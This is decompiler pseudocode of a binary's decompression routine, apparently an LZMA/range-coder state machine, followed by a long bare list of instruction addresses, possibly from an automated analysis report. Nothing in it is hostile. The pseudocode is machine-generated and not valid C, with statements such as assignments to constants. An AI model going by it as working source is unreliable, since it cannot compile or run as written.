											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														__ebx = __edx + 1;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__ebx = __edx + 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push("true");
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406a5d
0x00406a5d
0x00406a61
0x00406a82
0x00406a89
0x00406a8f
0x00406a95
0x00406aa7
0x00406aad
0x00406ab2
0x00000000
0x00406a63
0x00406a69
0x00406e2a
0x00406e2a
0x00406e2a
0x00406e2d
0x00406e2d
0x00406e2d
0x00406e33
0x00406e39
0x00406e3f
0x00406e59
0x00406e5c
0x00406e62
0x00406e6d
0x00406e6f
0x00406e41
0x00406e41
0x00406e50
0x00406e54
0x00406e54
0x00406e79
0x00000000
0x00000000
0x00406e7b
0x00406e7f
0x0040702e
0x00407044
0x0040704c
0x00407053
0x00407055
0x0040705c
0x00407060
0x00407060
0x00406e8b
0x00406e92
0x00406e9a
0x00406e9d
0x00406ea0
0x00406ea0
0x00406ea6
0x00406ea6
0x00406642
0x00406642
0x00406642
0x0040664b
0x00000000
0x00000000
0x00406651
0x00000000
0x0040665c
0x00000000
0x00000000
0x00406665
0x00406668
0x0040666b
0x0040666f
0x00000000
0x00000000
0x00406675
0x00406678
0x0040667a
0x0040667b
0x0040667e
0x00406680
0x00406681
0x00406683
0x00406686
0x0040668b
0x00406690
0x00406699
0x004066ac
0x004066af
0x004066bb
0x004066e3
0x004066e5
0x004066f3
0x004066f3
0x004066f7
0x00000000
0x00000000
0x00000000
0x00000000
0x004066e7
0x004066e7
0x004066ea
0x004066eb
0x004066eb
0x00000000
0x004066e7
0x004066c1
0x004066c6
0x004066c6
0x004066cf
0x004066d7
0x004066da
0x00000000
0x004066e0
0x004066e0
0x00000000
0x004066e0
0x00000000
0x004066fd
0x004066fd
0x00406701
0x00406fad
0x00000000
0x00406fad
0x0040670a
0x0040671a
0x0040671d
0x00406720
0x00406720
0x00406720
0x00406723
0x00406727
0x00000000
0x00000000
0x00406729
0x0040672f
0x00406759
0x0040675f
0x00406766
0x00000000
0x00406766
0x00406735
0x00406738
0x0040673d
0x0040673d
0x00406748
0x00406750
0x00406753
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406798
0x0040679e
0x004067a1
0x004067ae
0x004067b6
0x00000000
0x00000000
0x0040676d
0x0040676d
0x00406771
0x00406fbc
0x00000000
0x00406fbc
0x0040677d
0x00406788
0x00406788
0x00406788
0x0040678b
0x0040678e
0x00406791
0x00406796
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e2d
0x00406e2d
0x00406e33
0x00406e39
0x00406e3f
0x00406e59
0x00406e5c
0x00406e62
0x00406e6d
0x00406e6f
0x00406e41
0x00406e41
0x00406e50
0x00406e54
0x00406e54
0x00406e79
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004067be
0x004067c0
0x004067c3
0x00406834
0x00406837
0x0040683a
0x00406841
0x0040684b
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x004067c5
0x004067c9
0x004067cc
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d9
0x004067db
0x004067e0
0x004067e3
0x004067e6
0x004067ea
0x004067f1
0x004067f4
0x004067fb
0x004067ff
0x00406807
0x00406807
0x00406807
0x00406801
0x00406801
0x00406801
0x004067f6
0x004067f6
0x004067f6
0x0040680b
0x0040680e
0x0040682c
0x0040682e
0x00000000
0x00406810
0x00406810
0x00406813
0x00406816
0x00406819
0x0040681b
0x0040681b
0x0040681b
0x0040681e
0x00406821
0x00406823
0x00406824
0x00406827
0x00000000
0x00406827
0x00000000
0x00000000
0x00000000
0x00406ac7
0x00406acb
0x00406aee
0x00406af1
0x00406af4
0x00406afe
0x00406acd
0x00406acd
0x00406ad0
0x00406ad3
0x00406ad6
0x00406ae3
0x00406ae6
0x00406ae6
0x00406e2a
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x00000000
0x00406b0a
0x00406b0e
0x00000000
0x00000000
0x00406b14
0x00406b18
0x00000000
0x00000000
0x00406b1e
0x00406b20
0x00406b24
0x00406b24
0x00406b27
0x00406b2b
0x00000000
0x00000000
0x00406b7b
0x00406b7f
0x00406b86
0x00406b89
0x00406b8c
0x00406b96
0x00406e2a
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x00406e2a
0x00406b81
0x00000000
0x00000000
0x00406ba2
0x00406ba6
0x00406bad
0x00406bb0
0x00406bb3
0x00406ba8
0x00406ba8
0x00406ba8
0x00406bb6
0x00406bb9
0x00406bbc
0x00406bbc
0x00406bbf
0x00406bc2
0x00406bc5
0x00406bc5
0x00406bc8
0x00406bcf
0x00406bd4
0x00000000
0x00000000
0x00406c62
0x00406c62
0x00406c66
0x00407004
0x00000000
0x00407004
0x00406c6c
0x00406c6f
0x00406c72
0x00406c76
0x00406c79
0x00406c7f
0x00406c81
0x00406c81
0x00406c81
0x00406c84
0x00406c87
0x00000000
0x00000000
0x00406857
0x00406857
0x0040685b
0x00406fc8
0x00000000
0x00406fc8
0x00406861
0x00406864
0x00406867
0x0040686b
0x0040686e
0x00406874
0x00406876
0x00406876
0x00406876
0x00406879
0x0040687c
0x0040687c
0x0040687f
0x00406882
0x00000000
0x00000000
0x00406888
0x0040688e
0x00000000
0x00000000
0x00406894
0x00406894
0x00406898
0x0040689b
0x0040689e
0x004068a1
0x004068a4
0x004068a5
0x004068a8
0x004068aa
0x004068b0
0x004068b3
0x004068b6
0x004068b9
0x004068bc
0x004068bf
0x004068c2
0x004068de
0x004068e1
0x004068e4
0x004068e7
0x004068ee
0x004068f2
0x004068f4
0x004068f8
0x004068c4
0x004068c4
0x004068c8
0x004068d0
0x004068d5
0x004068d7
0x004068d9
0x004068d9
0x004068fb
0x00406902
0x00406905
0x00000000
0x0040690b
0x00000000
0x0040690b
0x00000000
0x00406910
0x00406910
0x00406914
0x00406fd4
0x00000000
0x00406fd4
0x0040691a
0x0040691d
0x00406920
0x00406924
0x00406927
0x0040692d
0x0040692f
0x0040692f
0x0040692f
0x00406932
0x00406935
0x00406935
0x00406935
0x0040693b
0x00000000
0x00000000
0x0040693d
0x00406940
0x00406943
0x00406946
0x00406949
0x0040694c
0x0040694f
0x00406952
0x00406955
0x00406958
0x0040695b
0x00406973
0x00406976
0x00406979
0x0040697c
0x0040697f
0x00406983
0x00406985
0x0040695d
0x0040695d
0x00406965
0x0040696a
0x0040696c
0x0040696e
0x0040696e
